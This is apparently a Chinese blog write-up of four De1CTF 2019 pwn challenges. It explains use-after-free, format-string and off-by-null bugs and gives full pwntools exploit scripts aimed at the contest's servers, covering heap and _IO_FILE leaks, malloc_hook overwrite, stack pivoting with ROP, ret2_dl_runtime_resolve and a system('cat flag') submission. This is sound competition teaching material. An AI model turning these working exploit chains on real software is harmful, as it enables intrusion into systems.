De1CTF 2019 PWN

作者: Kirin_say | 来源:发表于2019-08-06 09:23 被阅读574次
    Venom

    My Solve:


    PWN

    为抢血来的,前两题都是第四个交的,一丝难受,还好最后一个抢了二血
    真是愈来愈菜,近一个月没搞pwn了,感觉kernel pwn有点玩脱了,没搞定

    0x01 Weapon

    Analyze

    比较简单的一题,死在网速上,错失三血
    在delete过程中很明显存在UAF:

    unsigned __int64 delete()
    {
      signed int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      printf("input idx :");
      v1 = get_num();
      if ( v1 < 0 && v1 > 9 )
      {
        printf("error");
        exit(0);
      }
      free(*((void **)&unk_202060 + 2 * v1));
      puts("Done!");
      return __readfsqword(0x28u) ^ v2;
    }
    

    没有show操作,选择利用IO_FILE来leak
    add过程中chunk有大小限制:0-0x60
    所以先利用uaf修改一个fd低位来修改一个chunksize构造unsortbin,此时chunk即会包含main_arena+88
    而后再利用UAF将一个fd指向这里,并修改这里的fd(main_arena+88)低字节指向stdout前的位置(包含合法size"\x7F"),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
    leak后再次利用uaf修改malloc_hook为one_target即可get shell

    EXP

    from pwn import *
    
    #p=process("./pwn")
    context.log_level="debug"
    def add(index,size,name):
       p.sendlineafter(">> \n","1")
       p.sendlineafter("weapon: ",str(size))
       p.sendlineafter("index: ",str(index))
       p.sendafter(" name:\n",name)
    
    def delete(index):
       p.sendlineafter(">> \n","2")
       p.sendlineafter("input idx :",str(index))
    
    def edit(index,name):
       p.sendlineafter(">> ","3")
       p.sendlineafter("idx: ",str(index))
       p.sendafter("new content:\n",name)
    for i in range(100):
        try:
            p=remote("139.180.216.34","8888")
            add(0,0x28,"\x00"*0x10+p64(0x30))
            add(1,0x28,"aaaaa")
            add(2,0x50,"aaaaa")
            add(3,0x60,"aaaaa")
            delete(0)
            delete(1)
            edit(1,"\x18")
            add(0,0x28,"ccccc")
            add(1,0x28,p64(0)*2+p64(0x91))
            delete(0)
            add(4,0x60,"\xdd\x25")
            add(5,0x60,"aaaaa")
            delete(3)
            delete(5)
            edit(5,"\x30")
            add(6,0x60,"aaaaa")
            add(6,0x60,"bbbbb")
            add(6,0x60,"ccccc")
            edit(6,"\x00"*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+"\x00")
            p.recvuntil("\x7f")
            p.recv(2)
            libc_addr=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
            print hex(libc_addr)
            add(6,0x60,"eeeeeeee")
            delete(6)
            edit(6,p64(libc_addr+0x7ffff7dd1b10-0x7ffff7a0d000-0x23))
            add(6,0x60,"aaaaa")
            add(6,0x60,"\x00"*0x13+p64(libc_addr+0xf1147))
            #gdb.attach(p)
            p.interactive()
        except:
            print "error"
    

    0x02 Unprintable

    Analyze

    也是第四个交,无奈ing
    程序GOT表不可写
    main function会输出stack addr后关闭stdout
    而后会有一次格式化字符串漏洞,最后exit

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      char v3; // [rsp+0h] [rbp-10h]
      unsigned __int64 v4; // [rsp+8h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      puts("Welcome to Ch4r1l3's printf test");
      printf("This is your gift: %p\n", &v3);
      close(1);
      read(0, buf, 0x1000uLL);
      printf(buf, buf);
      exit(0);
    }
    

    首先考虑复用格式化字符串漏洞
    在exit的时候发现了一处指针可控程序流且地址在栈上:

    RAX  0x600e48 (_DYNAMIC+96) — 0x1c
     RBX  0x7f9a13da1168 — 0x2c8
     RCX  0x4
     RDX  0x0
     RDI  0x7f9a13da0948 (_rtld_global+2312) — 0x0
     RSI  0x0
     R8   0x4
     R9   0x3
     R10  0x7ffefcd81518 — 0x7f9a13da09d8 (_rtld_global+2456) — 0x7f9a13b7a000 — jg     0x7f9a13b7a047
     R11  0x3
     R12  0x6010a0 (buf+64) — 0x400726 (main) — push   rbp
     R13  0x0
     R14  0x7ffefcd81500 — 0x7f9a13da1168 — 0x2c8
     R15  0x0
     RBP  0x7ffefcd815c0 — 0x7f9a13b745f8 (__exit_funcs) — 0x7f9a13b75c40 (initial) — 0x0
     RSP  0x7ffefcd81500 — 0x7f9a13da1168 — 0x2c8
     RIP  0x7f9a13b8ade3 (_dl_fini+819) — call   qword ptr [r12 + rdx*8]
    ───────────────────────────────────[ DISASM ]───────────────────────────────────
      0x7f9a13b8ade3 <_dl_fini+819>    call   qword ptr [r12 + rdx*8] <0x400726>
            rdi: 0x7f9a13da0948 (_rtld_global+2312) — 0x0
            rsi: 0x0
            rdx: 0x0
            rcx: 0x4
     
       0x7f9a13b8ade7 <_dl_fini+823>    test   r13d, r13d
       0x7f9a13b8adea <_dl_fini+826>    lea    r13d, [r13 - 1]
       0x7f9a13b8adee <_dl_fini+830>    jne    _dl_fini+816 <0x7f9a13b8ade0>
     
       0x7f9a13b8adf0 <_dl_fini+832>    mov    rax, qword ptr [rbx + 0xa8]
       0x7f9a13b8adf7 <_dl_fini+839>    test   rax, rax
    

    在这里rdx固定,r12由:

    <_dl_fini+788>    add    r12, qword ptr [rbx] <0x600dd8>
    

    确定,而rbx=0x7f9a13da1168,这个地址在栈上存在,格式化字符串时修改时对应%26$n,r12在add前固定,为0x600dd8
    所以可以更改[rbx]内的偏移,使在call qword ptr [r12 + rdx*8]时,r12+rdx*8指向buf内的空间,对应位置存入main_func_addr即可实现复用一次
    这时候就可以在第一次格式化字符串时修改偏移复用,并在栈中修改一个栈上的指针指向第二次printf时返回地址对应位置,即可在复用printf时修改自己的返回地址实现再次复用
    不过这里注意因为%n最大修改为0x2000,所以我们要在最开始获得一个stack_addr&0xFFFF<0x2000的栈地址
    再次复用时为了方便,避免下次返回地址再次变化,修改返回地址为0x4007A3,此时栈不会继续增长:

    .text:00000000004007A3                 mov     edx, 1000h      ; nbytes
    .text:00000000004007A8                 mov     esi, offset buf ; buf
    .text:00000000004007AD                 mov     edi, 0          ; fd
    .text:00000000004007B2                 call    read
    .text:00000000004007B7                 mov     edi, offset buf ; format
    .text:00000000004007BC                 mov     eax, 0
    .text:00000000004007C1                 call    printf
    .text:00000000004007C6                 mov     edi, 0          ; status
    .text:00000000004007CB                 call    exit
    

    下面考虑栈迁移,便于构造ROP链
    首先看到一条比较好的gadget:

    0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    

    这时候只需要修改printf返回地址为此处,并在下一地址写入buf内的地址
    即可在printf返回时pop rsp,使rsp指向buf内的地址,完成栈迁移
    栈迁移后考虑构造execv("/bin/sh")
    首先要获得一个syscall的地址,程序本身没有syscall的gadget
    而且buf内没有可用地址,所以考虑先调用libc函数在栈中留下一个syscall附近地址,尝试后发现puts可以,调用puts后可以在栈中留下一个libc地址,且此地址附近(更改最低位一字节后便可以)存在syscall
    此时获得了syscall
    rdi,rsi可以直接利用pop的gadget构造
    最后需要构造rax和rdx
    rdx可以通过:

    .text:0000000000400810                 mov     rdx, r13
    .text:0000000000400813                 mov     rsi, r14
    .text:0000000000400816                 mov     edi, r15d
    .text:0000000000400819                 call    qword ptr [r12+rbx*8]
    

    间接获得
    rax我选择最后read 0x3b个字节来利用read的返回值设置
    设置好所有寄存器后跳入预先在buf里修改好的syscall地址即可获得shell
    因为没有stdout,所以获得shell直接将输出转入stderr或者stdin即可:

    cat flag >&0
    cat flag >&2
    

    EXP

    from pwn import *
    import time
    context.log_level="debug"
    # def fuck(ad,value):
    #     p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
    #     time.sleep(5)
    #     p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
    #     ad=ad+4
    #     value=value>>8
    #     time.sleep(5)
    #     p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
    #     time.sleep(5)
    #     p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
    for i in range(1000):
      p=remote("45.32.120.212",9999)
      p.recvuntil("gift: ")
      addr=int(p.recvuntil("\n"),16)
      print hex(addr)
      if addr&0xffff<0x2000:
        #gdb.attach(p)
        #time.sleep(20)
        stack1=addr-0x7fffffffdd90+0x7fffffffdc58
        print hex(stack1)
        payload="%712c%26$naaaaaa"
        payload+=("%"+str((stack1&0xffff)-718)+"c%11$hn").ljust(48,"a")+p64(0x0400726)
        p.sendline(payload)
        time.sleep(2)
        ad=stack1+8
        print hex(ad)
        value=0x6011b0
        p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
        time.sleep(2)
        p.sendline("%163c%75$hhn%"+str((value&0xffff)-163)+"c%16$hn")
        ad=ad+2
        value=value>>8
        time.sleep(2)
        p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
        time.sleep(2)
        p.sendline("%96c%16$hn%67c%75$hhn")
        time.sleep(2)
        rop=p64(0x400833)+p64(0x6011f0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x4005F0)
        rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601160)+p64(0)+p64(0x400610)
        rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x400610)
        rop+=p64(0x400833)+p64(0x601060)+p64(0x40082A)+p64(0)+p64(0)
        rop+=p64(0x601168)+p64(0)+p64(0)+p64(0x601060)+p64(0x400810)
        p.sendline("%2093c%75$hn\x00".ljust(0x150,"a")+p64(0)*3+rop)
        time.sleep(2)
        p.send("a"*8+"\xac")
        time.sleep(2)
        #gdb.attach(p)
        p.send("/bin/sh".ljust(0x3b,"\x00"))
        p.interactive()
        exit()
      else:
        p.close()
    #cat flag >&0
    

    0x03 A+B Judge

    感觉应该很多人都是非预期
    提交程序编译运行会直接输出结果,所以直接system("cat flag")即可

    EXP

    #include <stdlib.h>
    #include <stdio.h>
    int main(void)
    {
        system("cat flag");
        return 0;
    }
    

    0x04 Mimic_note

    Analyze

    二血,happy
    做完的时候才发现更新了附件给了远程的server
    不过用处不大,同时给32和64位文件很明显是两个程序输入输出需要相同
    这时候首先确定不能leak,不然32和64位一定有区别
    所以首先确定思路是需要构造ret2_dl_runtime_resolve
    程序本身漏洞在edit:

    char *edit()
    {
      char *result; // eax
      int v1; // [esp+8h] [ebp-10h]
    
      puts("index ?");
      v1 = get_int();
      if ( v1 < 0 || v1 > 15 || !(&notes)[2 * v1] )
        return (char *)puts("invalid index");
      puts("content?");
      result = &(&notes)[2 * v1][read(0, (&notes)[2 * v1], nbytes[2 * v1])];
      *result = 0;
      return result;
    }
    

    很明显存在off by null
    我选择在32位中get shell
    因为32位和64位off by null触发时size不同,所以可以保证利用过程中输入输出相同
    首先常规思路,利用off by null触发unlink操作来造成堆重叠
    堆重叠后利用double free来分配chunk到notes中(程序没有开启PIE)
    此时即可修改notes结构体实现任意地址写
    下面考虑栈迁移:
    程序GOT表可写,并且发现一个较好的gadget:

    0x080489fb : pop ebp ; ret
    

    要在栈中构造一条ROP链
    首先栈中数据可控的只有get_int时的输入
    所以要找到一个函数可以调用时跳入get_int的buf里
    最后选择delete
    delete时,在get_int后call free时:

    pwndbg> x/10xg $esp-0x20
    0xffb46d80: 0x6161616161616161  0x6161616161616161
    0xffb46d90: 0x6161616161616161  0x76aa5c00ffb46d0a
    0xffb46da0: 0xf7e6eb93080489fb  0x080486bbffb46dc8
    0xffb46db0: 0x08048ab700000001  0x0000000100000003
    0xffb46dc0: 0x0000000000000001  0x0804896affb46de8
    

    可以看到此时esp与数据块很接近
    在此之前先将free的got表中地址改为:

    .text:08048679                 sub     esp, 0Ch
    .text:0804867C                 push    eax             ; size
    .text:0804867D                 call    _malloc
    

    因为此处sub esp, 0Ch,可以使esp落入get_int的buf[0x14],而后push eax,因为call free时eax为需要free的chunk地址,所以事先在对应note处写入一个需要的地址即可在push时打入栈中,这样,我们可控的rop链长度就会为0xc字节,在此前,将malloc的got表地址改为:

    .init:08048439                 pop     ebx
    .init:0804843A                 retn
    

    此时call malloc即可滑入rop链,rop链设置为pop_ebp+fake_stack_addr+leave_ret即可迁移栈段
    迁移栈段后ret2_dl_runtime_resolve:
    迁移栈到预先设计好的保存伪造的参数及dynsym和dynstr的位置即可
    不过有个注意点,这次发现ret2_dl_runtime_resolve时候r_info的数值实际上不能任意,即伪造的dynsym结构所在的地址有要求:
    在一些地址伪造dynsym结构会在_dl_fixup时crash
    跟进程序流:

     EAX  0x804a030 (_GLOBAL_OFFSET_TABLE_+48) — 0x80484e6 (atoi@plt+6) — push   0x48 /* 'hH' */
     EBX  0x8048288 — dec    esi /* 'N' */
     ECX  0x0
     EDX  0x8049fc4 (_DYNAMIC+176) — 0x6ffffff0
     EDI  0xf7f89918 — 0x0
     ESI  0xb
     EBP  0x804a030 (_GLOBAL_OFFSET_TABLE_+48) — 0x80484e6 (atoi@plt+6) — push   0x48 /* 'hH' */
     ESP  0xfff01148 — 0x1
     EIP  0xf7f7384b (_dl_fixup+107) — mov    edx, dword ptr [edx + 4]
    ──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
       0xf7f73835 <_dl_fixup+85>     mov    ebp, eax
       0xf7f73837 <_dl_fixup+87>     jne    _dl_fixup+304 <0xf7f73910>
     
       0xf7f7383d <_dl_fixup+93>     mov    edx, dword ptr [edi + 0xe4]
       0xf7f73843 <_dl_fixup+99>     test   edx, edx
       0xf7f73845 <_dl_fixup+101>    je     _dl_fixup+272 <0xf7f738f0>
     
      0xf7f7384b <_dl_fixup+107>    mov    edx, dword ptr [edx + 4]
       0xf7f7384e <_dl_fixup+110>    movzx  edx, word ptr [edx + esi*2]
       0xf7f73852 <_dl_fixup+114>    and    edx, 0x7fff
       0xf7f73858 <_dl_fixup+120>    shl    edx, 4
       0xf7f7385b <_dl_fixup+123>    add    edx, dword ptr [edi + 0x170]
       0xf7f73861 <_dl_fixup+129>    mov    ecx, dword ptr [edx + 4]
    

    其中有一步会根据r_info>>8来获取距离此处:


    something

    偏移处的数值,而后计算出一个地址,并取值:

       0xf7f7385b <_dl_fixup+123>    add    edx, dword ptr [edi + 0x170]
       0xf7f73861 <_dl_fixup+129>    mov    ecx, dword ptr [edx + 4]
    

    其实这里只需要计算出的edx地址合法即可
    但是在伪造dynsym结构体时,在某些地址下伪造可能会导致前面根据esi(r_info)取出的数有问题,导致最后dl_fixup+129处计算出的edx地址非法,所以在伪造dynsym结构时需要选择一个合适的地址(可以多试几次),来使这里edx合法,不造成crash,后面即可正常调用
    最后get shell时,因为32位和64位输出会不相同,最初想的是反弹shell
    但是远程报错没有nc和bash命令
    不过既然存在报错,直接将最后输出转向stderr读取flag即可

    EXP

    from pwn import *
    
    context.log_level="debug"
    def new(size):
       p.sendlineafter(">> ","1")
       p.sendlineafter("size?\n",str(size))
    def delete(index):
       p.sendlineafter(">> ","2")
       p.sendlineafter("index ?\n",str(index))
    def show(index):
       p.sendlineafter(">> ","3")
       p.sendlineafter("index ?\n",str(index))
       return p.recvuntil("\n")
    def edit(index,note):
       p.sendlineafter(">> ","4")
       p.sendlineafter("index ?\n",str(index))
       p.sendafter("content?\n",note)
    def get_payload():
       stack_addr=0x804a720
       rel_plt = 0x80483c8
       plt_0=0x8048440
       index_offset = (stack_addr + 28) - rel_plt
       atoi_got = 0x804A030
       dynsym_addr = 0x80481D8
       dynstr_addr = 0x80482c8
       hack_dynsym_addr = stack_addr + 36
       align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
       hack_dynsym_addr = hack_dynsym_addr + align
       index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10       
       r_info = (index_dynsym_addr << 8) | 0x7
       hack_rel = p32(atoi_got) + p32(r_info)             
       st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
       hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
       payload = p32(0)+p32(plt_0)+p32(index_offset)+p32(0)
       payload += p32(stack_addr + 80)+p32(0)*2+hack_rel 
       payload += '\x00' * align+hack_dynsym +"system\x00"
       payload += '\x00'*(80-len(payload))
       payload += "cat flag>&2"
       return payload
    #p=process("./mimic_note_32")
    #gdb.attach(p)
    p=remote("45.32.120.212",6666)
    #gdb.attach(p)
    new(0x84)
    new(0x14)
    new(0xfc)
    new(0x14)
    delete(0)
    edit(1,p32(0)*4+p32(0x88+0x18))
    delete(2)
    new(0x84)
    new(0x14)
    new(0x18)
    delete(1)
    delete(3)
    delete(2)
    new(0x14)
    edit(1,p32(0x804a080))
    new(0x14)
    new(0x14)
    new(0x14)
    edit(5,p32(0x804A060)+p32(0x1000)+p32(0x804a720)+p32(0x1000))
    new(0x90)
    payload=get_payload()
    edit(6,payload)
    edit(5,p32(0x804A01C)+p32(0x20))
    edit(0,p32(0x08048439)+p32(0x80484a6))
    edit(5,p32(0x804A014)+p32(0x10)+p32(0x080489fb)+p32(1))
    edit(0,p32(0x8048679))
    p.sendlineafter(">> ","2")
    magic_code="1"+" "*15+"\x00"*4+p32(0x804a720)+p32(0x8048924)
    #gdb.attach(p)
    p.sendlineafter("index ?\n",magic_code)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:De1CTF 2019 PWN

        本文链接:https://www.haomeiwen.com/subject/kzuedctx.html